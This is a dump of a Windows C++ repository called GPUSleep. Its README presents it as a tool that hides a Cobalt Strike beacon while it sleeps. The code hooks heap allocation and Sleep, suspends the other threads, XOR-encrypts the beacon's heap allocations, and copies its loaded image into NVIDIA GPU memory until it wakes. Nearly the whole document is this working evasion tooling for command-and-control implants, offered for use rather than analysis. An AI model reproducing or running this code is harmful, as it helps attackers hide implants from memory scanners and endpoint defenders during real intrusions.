├── .gitignore ├── GPUSleep ├── libMinHook.x64.lib ├── GPUSleep.vcxproj.user ├── MoveDLL.h ├── utils.h ├── cuda.h ├── utils.cpp ├── GPUSleep.cpp ├── GPUSleep.vcxproj.filters ├── SuspendThreads.h ├── Hooks.cpp ├── cuda.cpp ├── minihook.h ├── GPUSleep.vcxproj └── MoveDLL.cpp ├── BasicDLL ├── BasicDLL.vcxproj.user ├── BasicDLL.vcxproj.filters ├── BasicDLL.cpp └── BasicDLL.vcxproj ├── GPUSleep.sln ├── README.md └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | -------------------------------------------------------------------------------- /GPUSleep/libMinHook.x64.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oXis/GPUSleep/HEAD/GPUSleep/libMinHook.x64.lib -------------------------------------------------------------------------------- /BasicDLL/BasicDLL.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /GPUSleep/GPUSleep.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /GPUSleep/MoveDLL.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "cuda.h" 5 | 6 | HMODULE MoveDLLToStrorage(HMODULE dll); 7 | VOID MoveDLLFromStrorage(HMODULE dll, HMODULE storage); 8 | 9 | ULONG_PTR MoveDLLToGPUStrorage(HMODULE dll, PDWORD SizeOfHeaders, PNVIDIA_API_TABLE Api); 10 | VOID MoveDLLFromGPUStrorage(HMODULE dll, ULONG_PTR storage, DWORD SizeOfHeaders, PNVIDIA_API_TABLE Api); 11 | -------------------------------------------------------------------------------- /BasicDLL/BasicDLL.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /GPUSleep/utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "minihook.h" 9 | #include "cuda.h" 10 | 11 | //extern PROCESS_HEAP_ENTRY entry; 12 | extern DWORD GlobalThreadId; 13 | extern LPVOID(WINAPI* OldHeapAlloc)(HANDLE, DWORD, SIZE_T); 14 | extern void (WINAPI* OldSleep)(DWORD); 15 | extern std::map heapMap; 16 | 17 | extern NVIDIA_API_TABLE Api; 18 | extern CUDA_CONTEXT Context; 19 | extern HMODULE dll; 20 | 21 | void run1(std::map heapMap); 22 | typedef VOID(*typeFunc)(); 23 | 24 | void xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length); 25 | void print_map(const std::map& m); 26 | DWORD mapSize(const std::map& m); 27 | void HeapEncryptDecryptSection(char* buffer, const size_t length); 28 | void HeapEncryptDecrypt(); 29 | void HeapEncryptMap(const std::map& m); 30 | 31 | LPVOID HookedHeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 32 | void HookedSleep(DWORD dwMilliseconds); 33 | 34 | template 35 | inline MH_STATUS MH_CreateHookApiEx( 36 | LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal) 37 | { 38 | return MH_CreateHookApi( 39 | pszModule, pszProcName, pDetour, reinterpret_cast(ppOriginal)); 40 | } -------------------------------------------------------------------------------- /GPUSleep/cuda.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #define CUDACALL __stdcall 5 | typedef struct PCUDE_CONTEXT* CUDA_CONTEXT; 6 | 7 | typedef INT(CUDACALL* CUDAMEMORYALLOCATE)(ULONG_PTR, SIZE_T); 8 | typedef INT(CUDACALL* CUDAINIT)(INT); 9 | typedef INT(CUDACALL* CUDAGETDEVICECOUNT)(PINT); 10 | typedef INT(CUDACALL* CUDAGETDEVICE)(PINT, INT); 11 | typedef INT(CUDACALL* CUDACREATECONTEXT)(CUDA_CONTEXT*, DWORD, INT); 12 | typedef INT(CUDACALL* CUDADESTROYCONTEXT)(CUDA_CONTEXT*); 13 | typedef INT(CUDACALL* CUDAMEMORYCOPYTODEVICE)(ULONG_PTR, PVOID, SIZE_T); 14 | typedef INT(CUDACALL* CUDAMEMORYCOPYTOHOST)(PVOID, ULONG_PTR, SIZE_T); 15 | typedef INT(CUDACALL* CUDAMEMORYFREE)(ULONG_PTR); 16 | 17 | #define CUDA_SUCCESS 0 18 | 19 | typedef struct _NVIDIA_API_TABLE { 20 | HMODULE NvidiaLibary; 21 | CUDAMEMORYALLOCATE CudaMemoryAllocate; 22 | CUDAINIT CudaInit; 23 | CUDAGETDEVICECOUNT CudaGetDeviceCount; 24 | CUDAGETDEVICE CudaGetDevice; 25 | CUDACREATECONTEXT CudaCreateContext; 26 | CUDAMEMORYCOPYTODEVICE CudaMemoryCopyToDevice; 27 | CUDAMEMORYCOPYTOHOST CudaMemoryCopyToHost; 28 | CUDAMEMORYFREE CudaMemoryFree; 29 | CUDADESTROYCONTEXT CudaDestroyContext; 30 | } NVIDIA_API_TABLE, * PNVIDIA_API_TABLE; 31 | 32 | BOOL InitNvidiaCudaAPITable(PNVIDIA_API_TABLE Api); 33 | ULONG_PTR RtlAllocateGpuMemory(PNVIDIA_API_TABLE Api, DWORD ByteSize); 34 | CUDA_CONTEXT initCuda(NVIDIA_API_TABLE* Api, CUDA_CONTEXT* ctx); -------------------------------------------------------------------------------- /BasicDLL/BasicDLL.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | unsigned char encdata[64] = "THIS IS AN ENCRYPTED STRING"; 6 | unsigned char* data; 7 | 8 | void SetupConsole() { 9 | AllocConsole(); 10 | freopen("CONIN$", "r", stdin); 11 | freopen("CONOUT$", "w", stdout); 12 | freopen("CONOUT$", "w", stderr); 13 | } 14 | 15 | extern "C" VOID __declspec(dllexport) Init() 16 | { 17 | data = (unsigned char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 64); 18 | memcpy(data, encdata, 64); 19 | 20 | SetupConsole(); 21 | 22 | printf("%s\n", encdata); 23 | 24 | memset(data, 0, 64); 25 | std::string str = "THIS IS AN DECRYPTED STRING"; 26 | 27 | memcpy(data, str.c_str(), 64); 28 | 29 | //MessageBoxA(NULL, "Init Done", "Init", MB_OK); 30 | } 31 | 32 | extern "C" VOID __declspec(dllexport) Run() 33 | { 34 | for (int i = 0; i < 2; i++) { 35 | printf("%s\n", data); 36 | Sleep(1000); 37 | } 38 | } 39 | 40 | BOOL WINAPI DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID) 41 | { 42 | 43 | switch (dwReason) 44 | { 45 | case DLL_PROCESS_ATTACH: 46 | { 47 | MessageBoxA(NULL, "DLL_PROCESS_ATTACH", "Hello", MB_OK); 48 | Init(); 49 | } 50 | break; 51 | case DLL_PROCESS_DETACH: 52 | { 53 | MessageBoxA(NULL, "DLL_PROCESS_DETACH", "Hello", MB_OK); 54 | } 55 | break; 56 | case DLL_THREAD_ATTACH: 57 | case DLL_THREAD_DETACH: 58 | break; 59 | } 60 | 61 | return TRUE; 62 | } -------------------------------------------------------------------------------- /GPUSleep/utils.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "minihook.h" 8 | 9 | PROCESS_HEAP_ENTRY entry; 10 | 11 | const char key[9] = "FROMAGE"; 12 | const size_t keySize = sizeof(key); 13 | 14 | #pragma intrinsic(_ReturnAddress) 15 | 16 | void xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length) { 17 | for (size_t i = 0; i < length; ++i) { 18 | buffer[i] ^= key[i % keyLength]; 19 | } 20 | } 21 | 22 | void print_map(const std::map& m) 23 | { 24 | for (auto it = m.cbegin(); it != m.cend(); ++it) 25 | { 26 | std::cout << "Map -> " << it->first << "[" << it->second << "]" << "\n"; 27 | } 28 | } 29 | 30 | DWORD mapSize(const std::map& m) 31 | { 32 | DWORD alloc = 0; 33 | for (auto it = m.cbegin(); it != m.cend(); ++it) 34 | { 35 | alloc += it->second; 36 | } 37 | 38 | return alloc; 39 | } 40 | 41 | void HeapEncryptDecryptSection(char* buffer, const size_t length) { 42 | xor_bidirectional_encode(key, keySize, buffer, length); 43 | } 44 | 45 | void HeapEncryptDecrypt() { 46 | SecureZeroMemory(&entry, sizeof(entry)); 47 | 48 | while (HeapWalk(GetProcessHeap(), &entry)) { 49 | if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) { 50 | HeapEncryptDecryptSection((char*)(entry.lpData), entry.cbData); 51 | //printf("Lengh of fragment %d\n", entry.cbData); 52 | } 53 | } 54 | } 55 | 56 | void HeapEncryptMap(const std::map& m) { 57 | for (auto it = m.cbegin(); it != m.cend(); ++it) 58 | { 59 | HeapEncryptDecryptSection((char*)(it->first), it->second); 60 | } 61 | } -------------------------------------------------------------------------------- /GPUSleep/GPUSleep.cpp: -------------------------------------------------------------------------------- 1 | // GPUSleep.cpp : This file contains the 'main' function. Program execution begins and ends there. 2 | // 3 | #include "utils.h" 4 | #include "cuda.h" 5 | 6 | #pragma comment(lib, "libMinHook.x64.lib") 7 | #pragma warning(disable:6011) 8 | #pragma warning(disable:6387) 9 | 10 | DWORD GlobalThreadId; 11 | LPVOID(WINAPI* OldHeapAlloc)(HANDLE, DWORD, SIZE_T); 12 | void (WINAPI* OldSleep)(DWORD); 13 | std::map heapMap; 14 | 15 | NVIDIA_API_TABLE Api = { 0 }; 16 | CUDA_CONTEXT Context = NULL; 17 | HMODULE dll; 18 | 19 | int main() 20 | { 21 | std::cout << "Starting\n"; 22 | GlobalThreadId = GetCurrentThreadId(); //We get the thread Id of our dropper! 23 | 24 | printf("MH_Initialize()\n"); 25 | if (MH_Initialize() != MH_OK) 26 | goto EXIT_ROUTINE; 27 | 28 | printf("MH_CreateHookApiEx()\n"); 29 | if (MH_CreateHookApiEx(L"ntdll.dll", "RtlAllocateHeap", &HookedHeapAlloc, &OldHeapAlloc) != MH_OK) 30 | goto EXIT_ROUTINE; 31 | 32 | printf("MH_CreateHookApiEx()\n"); 33 | if (MH_CreateHookApiEx(L"kernel32.dll", "Sleep", &HookedSleep, &OldSleep) != MH_OK) 34 | goto EXIT_ROUTINE; 35 | 36 | printf("MH_EnableHook()\n"); 37 | if (MH_EnableHook(MH_ALL_HOOKS) != MH_OK) 38 | goto EXIT_ROUTINE; 39 | 40 | printf("LoadingBeacon\n"); 41 | dll = LoadLibraryA("beacon.dll"); 42 | 43 | //Test DLL 44 | //run1(heapMap); 45 | 46 | int stop; 47 | std::cin >> stop; 48 | 49 | EXIT_ROUTINE: 50 | MH_DisableHook(MH_ALL_HOOKS); 51 | 52 | if (Context != NULL) 53 | Api.CudaDestroyContext(&Context); 54 | 55 | if (Api.NvidiaLibary) 56 | FreeLibrary(Api.NvidiaLibary); 57 | } -------------------------------------------------------------------------------- /GPUSleep/GPUSleep.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | -------------------------------------------------------------------------------- /GPUSleep/SuspendThreads.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | // Pass 0 as the targetProcessId to suspend threads in the current process 6 | void DoSuspendThreads(DWORD targetProcessId, DWORD targetThreadId) 7 | { 8 | printf("Own thread %d\n", targetThreadId); 9 | HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); 10 | if (h != INVALID_HANDLE_VALUE) 11 | { 12 | THREADENTRY32 te; 13 | te.dwSize = sizeof(te); 14 | if (Thread32First(h, &te)) 15 | { 16 | do 17 | { 18 | if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) 19 | { 20 | // Suspend all threads EXCEPT the one we want to keep running 21 | if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId) 22 | { 23 | HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); 24 | if (thread != NULL) 25 | { 26 | printf("Suspending thread %d\n", te.th32ThreadID); 27 | SuspendThread(thread); 28 | CloseHandle(thread); 29 | } 30 | } 31 | } 32 | te.dwSize = sizeof(te); 33 | } while (Thread32Next(h, &te)); 34 | } 35 | CloseHandle(h); 36 | } 37 | } 38 | 39 | void DoResumeThreads(DWORD targetProcessId, DWORD targetThreadId) 40 | { 41 | HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); 42 | if (h != INVALID_HANDLE_VALUE) 43 | { 44 | THREADENTRY32 te; 45 | te.dwSize = sizeof(te); 46 | if (Thread32First(h, &te)) 47 | { 48 | do 49 | { 50 | if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) 51 | { 52 | // Suspend all threads EXCEPT the one we want to keep running 53 | if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId) 54 | { 55 | HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); 56 | if (thread != NULL) 57 | { 58 | printf("Resuming thread %d\n", te.th32ThreadID); 59 | ResumeThread(thread); 60 | CloseHandle(thread); 61 | } 62 | } 63 | } 64 | te.dwSize = sizeof(te); 65 | } while (Thread32Next(h, &te)); 66 | } 67 | CloseHandle(h); 68 | } 69 | } -------------------------------------------------------------------------------- /GPUSleep.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29411.108 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "GPUSleep", "GPUSleep\GPUSleep.vcxproj", "{1F20C321-B5A0-4A6E-B094-184E8F8AB129}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BasicDLL", "BasicDLL\BasicDLL.vcxproj", "{CF8AA149-5AA7-4694-A7A3-5996F52C969D}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Debug|x64.ActiveCfg = Release|x64 19 | {1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Debug|x64.Build.0 = Release|x64 20 | {1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Debug|x86.ActiveCfg = Release|x64 21 | {1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Debug|x86.Build.0 = Release|x64 22 | {1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Release|x64.ActiveCfg = Release|x64 23 | {1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Release|x64.Build.0 = Release|x64 24 | {1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Release|x86.ActiveCfg = Release|Win32 25 | {1F20C321-B5A0-4A6E-B094-184E8F8AB129}.Release|x86.Build.0 = Release|Win32 26 | {CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Debug|x64.ActiveCfg = Release|x64 27 | {CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Debug|x64.Build.0 = Release|x64 28 | {CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Debug|x86.ActiveCfg = Release|x64 29 | {CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Debug|x86.Build.0 = Release|x64 30 | {CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Release|x64.ActiveCfg = Release|x64 31 | {CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Release|x64.Build.0 = Release|x64 32 | {CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Release|x86.ActiveCfg = Release|Win32 33 | {CF8AA149-5AA7-4694-A7A3-5996F52C969D}.Release|x86.Build.0 = Release|Win32 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {5995CCB5-3987-4188-82A7-957F22AFC286} 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [Blog post](https://oxis.github.io/GPUSleep/) 2 | 3 | Tested on Windows 21H1, Visual Studio 2019 (v142) and an NVIDIA GTX860M. 4 | 5 | # GPUSleep 6 | `GPUSleep` moves the beacon image to GPU memory before the beacon sleeps, and move it back to main memory after sleeping. 7 | 8 | The idea is to hook `HeapAlloc` and `Sleep`. Encrypt (XOR) the heap allocated by the beacon and move all PE sections + heap segments to GPU memory using `nvcuda.dll` imports. 9 | 10 | > Comes with a pre-compiled `libMinHook.x64.lib`, you night want to compile your own. 11 | 12 | ## HeapEncrypt 13 | Using the technique described by waldo-irc, heap segments allocated by the beacon are XOR encrypted before moving them to GPU memory. 14 | 15 | Cobalt Strike beacon uses `malloc` instead of `HeapAlloc` or `RtlHeapAlloc`. So the functions that are doing the actual allocation are inside `msvcrt.dll` or `ucrtbase.dll` (I didn't really looked into it...) 16 | The line `if (!strcmp(lpBaseName, "msvcrt.dll") || !strcmp(lpBaseName, "ucrtbase.dll"))` filters which allocations are going to be encrypted. 17 | 18 | ## BasicDLL 19 | A basic test DLL is provided. 20 | Modify code to use. 21 | ```cpp 22 | printf("LoadingBeacon\n"); 23 | //dll = LoadLibraryA("beacon.dll"); 24 | 25 | //Test DLL 26 | run1(heapMap); 27 | ``` 28 | 29 | ## Cobalt Strike 30 | `GPUSleep` will load an unstaged `beacon.dll` file with `LoadLibraryA`. The code has not been tested with reflective loading or other in memory loading techniques but if `HMODULE dll` points to a valid PE image everything should work. 31 | 32 | ## Bugs 33 | Pretty sure it's full of bugs... 34 | Like, you need to refresh cuda context every time `HookedSleep` is called and I don't know why... 35 | ```cpp 36 | void HookedSleep(DWORD dwMilliseconds) { 37 | 38 | std::cout << "Hooked Sleep!\n"; 39 | // so Context cannot be init before CS beacon is fired up, I dunno why... If init before, cuda returns error 201 40 | Context = initCuda(&Api, &Context); 41 | [...] 42 | ``` 43 | 44 | # Credit 45 | Big thanks to @smelly__vx, it's actually his code that gave me the idea. 46 | 47 | # References 48 | [LockdExeDemo](https://www.arashparsa.com/hook-heaps-and-live-free/) by @waldo-irc 49 | [GpuMemoryAbuse.cpp](https://github.com/vxunderground/VXUG-Papers/blob/main/GpuMemoryAbuse.cpp) by @smelly__vx 50 | [minihook](https://github.com/TsudaKageyu/minhook) by @TsudaKageyu -------------------------------------------------------------------------------- /GPUSleep/Hooks.cpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "utils.h" 9 | #include "cuda.h" 10 | #include "SuspendThreads.h" 11 | #include "MoveDLL.h" 12 | 13 | BOOL intercept = FALSE; 14 | 15 | LPVOID HookedHeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes) { 16 | LPVOID pointerToEncrypt = OldHeapAlloc(hHeap, dwFlags, dwBytes); 17 | 18 | if (intercept) 19 | return pointerToEncrypt; 20 | 21 | intercept = TRUE; 22 | if (GlobalThreadId == GetCurrentThreadId()) { // If the calling ThreadId matches our initial thread id then continue 23 | 24 | HMODULE hModule; 25 | char lpBaseName[256]; 26 | 27 | if (GetModuleHandleExA(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, (LPCSTR)_ReturnAddress(), &hModule) != 0) { 28 | if (GetModuleBaseNameA(GetCurrentProcess(), hModule, lpBaseName, sizeof(lpBaseName)) != 0) { 29 | printf("Reserved %d at %08x from %s\n", dwBytes, pointerToEncrypt, lpBaseName); 30 | if (!strcmp(lpBaseName, "msvcrt.dll") || !strcmp(lpBaseName, "ucrtbase.dll")) { 31 | //if (!strcmp(lpBaseName, "BasicDLL.dll")) { 32 | printf("Reserved %d at %08x\n", dwBytes, pointerToEncrypt); 33 | heapMap[pointerToEncrypt] = dwBytes; 34 | } 35 | } 36 | } 37 | } 38 | intercept = FALSE; 39 | 40 | return pointerToEncrypt; 41 | } 42 | 43 | void HookedSleep(DWORD dwMilliseconds) { 44 | 45 | std::cout << "Hooked Sleep!\n"; 46 | // so Context cannot be init before CS beacon is fired up, I dunno why... If init before, cuda returns error 201 47 | Context = initCuda(&Api, &Context); 48 | 49 | ULONG_PTR storageGPU; 50 | 51 | DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId()); 52 | std::cout << "Heap encrypt starts\n"; 53 | HeapEncryptMap(heapMap); 54 | 55 | DWORD SizeOfHeaders; 56 | storageGPU = MoveDLLToGPUStrorage(dll, &SizeOfHeaders, &Api); 57 | std::cout << "Sleeping....\n"; 58 | OldSleep(dwMilliseconds); 59 | MoveDLLFromGPUStrorage(dll, storageGPU, SizeOfHeaders, &Api); 60 | 61 | HeapEncryptMap(heapMap); 62 | std::cout << "Heap decrypt done\n"; 63 | DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId()); 64 | } 65 | 66 | // ####### TESTING FUNCTION ######### 67 | void run1(std::map heapMap) { 68 | 69 | ULONG_PTR storageGPU; 70 | 71 | dll = LoadLibraryA("BasicDLL.dll"); 72 | typeFunc funcRun = (typeFunc)GetProcAddress(dll, "Run"); 73 | 74 | funcRun(); 75 | } -------------------------------------------------------------------------------- /GPUSleep/cuda.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "cuda.h" 6 | #include "utils.h" 7 | #pragma warning(disable:6011) 8 | 9 | //Returns the last Win32 error, in string format. Returns an empty string if there is no error. 10 | std::string GetLastErrorAsString() 11 | { 12 | //Get the error message ID, if any. 13 | DWORD errorMessageID = ::GetLastError(); 14 | if (errorMessageID == 0) { 15 | return std::string(); //No error message has been recorded 16 | } 17 | 18 | LPSTR messageBuffer = nullptr; 19 | 20 | //Ask Win32 to give us the string version of that message ID. 21 | //The parameters we pass in, tell Win32 to create the buffer that holds the message for us (because we don't yet know how long the message string will be). 22 | size_t size = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, 23 | NULL, errorMessageID, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&messageBuffer, 0, NULL); 24 | 25 | //Copy the error message into a std::string. 26 | std::string message(messageBuffer, size); 27 | 28 | //Free the Win32's string's buffer. 29 | LocalFree(messageBuffer); 30 | 31 | return message; 32 | } 33 | 34 | BOOL InitNvidiaCudaAPITable(PNVIDIA_API_TABLE Api) 35 | { 36 | 37 | if (Api->CudaInit) { 38 | return TRUE; 39 | } 40 | 41 | Api->NvidiaLibary = LoadLibraryW(L"nvcuda.dll"); 42 | if (Api->NvidiaLibary == NULL) 43 | return FALSE; 44 | 45 | Api->CudaCreateContext = (CUDACREATECONTEXT)GetProcAddress(Api->NvidiaLibary, "cuCtxCreate_v2"); 46 | Api->CudaGetDevice = (CUDAGETDEVICE)GetProcAddress(Api->NvidiaLibary, "cuDeviceGet"); 47 | Api->CudaGetDeviceCount = (CUDAGETDEVICECOUNT)GetProcAddress(Api->NvidiaLibary, "cuDeviceGetCount"); 48 | Api->CudaInit = (CUDAINIT)GetProcAddress(Api->NvidiaLibary, "cuInit"); 49 | Api->CudaMemoryAllocate = (CUDAMEMORYALLOCATE)GetProcAddress(Api->NvidiaLibary, "cuMemAlloc_v2"); 50 | Api->CudaMemoryCopyToDevice = (CUDAMEMORYCOPYTODEVICE)GetProcAddress(Api->NvidiaLibary, "cuMemcpyHtoD_v2"); 51 | Api->CudaMemoryCopyToHost = (CUDAMEMORYCOPYTOHOST)GetProcAddress(Api->NvidiaLibary, "cuMemcpyDtoH_v2"); 52 | Api->CudaMemoryFree = (CUDAMEMORYFREE)GetProcAddress(Api->NvidiaLibary, "cuMemFree_v2"); 53 | Api->CudaDestroyContext = (CUDADESTROYCONTEXT)GetProcAddress(Api->NvidiaLibary, "cuCtxDestroy"); 54 | 55 | if (!Api->CudaCreateContext || !Api->CudaGetDevice || !Api->CudaGetDeviceCount || !Api->CudaInit || !Api->CudaDestroyContext) 56 | return FALSE; 57 | 58 | if (!Api->CudaMemoryAllocate || !Api->CudaMemoryCopyToDevice || !Api->CudaMemoryCopyToHost || !Api->CudaMemoryFree) 59 | return FALSE; 60 | 61 | return TRUE; 62 | } 63 | 64 | ULONG_PTR RtlAllocateGpuMemory(PNVIDIA_API_TABLE Api, DWORD ByteSize) 65 | { 66 | ULONG_PTR GpuBufferPointer = NULL; 67 | 68 | if (ByteSize == 0) 69 | return NULL; 70 | 71 | if (Api->CudaMemoryAllocate((ULONG_PTR)&GpuBufferPointer, ByteSize) != CUDA_SUCCESS) { 72 | return NULL; 73 | } 74 | 75 | return GpuBufferPointer; 76 | 77 | } 78 | 79 | CUDA_CONTEXT initCuda(NVIDIA_API_TABLE* Api, CUDA_CONTEXT* ctx) { 80 | 81 | INT DeviceCount = 0; 82 | INT Device = 0; 83 | 84 | if (!InitNvidiaCudaAPITable(Api)) 85 | return NULL; 86 | 87 | if (Api->CudaInit(0) != CUDA_SUCCESS) 88 | return NULL; 89 | 90 | if (Api->CudaGetDeviceCount(&DeviceCount) != CUDA_SUCCESS || DeviceCount == 0) 91 | return NULL; 92 | 93 | if (Api->CudaGetDevice(&Device, DeviceCount - 1) != CUDA_SUCCESS) 94 | return NULL; 95 | 96 | if (Api->CudaCreateContext(ctx, 0, Device) != CUDA_SUCCESS) 97 | return NULL; 98 | 99 | return Context; 100 | } -------------------------------------------------------------------------------- /GPUSleep/minihook.h: -------------------------------------------------------------------------------- 1 | /* 2 | * MinHook - The Minimalistic API Hooking Library for x64/x86 3 | * Copyright (C) 2009-2017 Tsuda Kageyu. 4 | * All rights reserved. 5 | * 6 | * Redistribution and use in source and binary forms, with or without 7 | * modification, are permitted provided that the following conditions 8 | * are met: 9 | * 10 | * 1. Redistributions of source code must retain the above copyright 11 | * notice, this list of conditions and the following disclaimer. 12 | * 2. Redistributions in binary form must reproduce the above copyright 13 | * notice, this list of conditions and the following disclaimer in the 14 | * documentation and/or other materials provided with the distribution. 15 | * 16 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 17 | * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED 18 | * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A 19 | * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER 20 | * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 21 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 22 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR 23 | * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 24 | * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 25 | * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 26 | * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | 29 | #pragma once 30 | 31 | #if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__) 32 | #error MinHook supports only x86 and x64 systems. 33 | #endif 34 | 35 | #include 36 | 37 | // MinHook Error Codes. 38 | typedef enum MH_STATUS 39 | { 40 | // Unknown error. Should not be returned. 41 | MH_UNKNOWN = -1, 42 | 43 | // Successful. 44 | MH_OK = 0, 45 | 46 | // MinHook is already initialized. 47 | MH_ERROR_ALREADY_INITIALIZED, 48 | 49 | // MinHook is not initialized yet, or already uninitialized. 50 | MH_ERROR_NOT_INITIALIZED, 51 | 52 | // The hook for the specified target function is already created. 53 | MH_ERROR_ALREADY_CREATED, 54 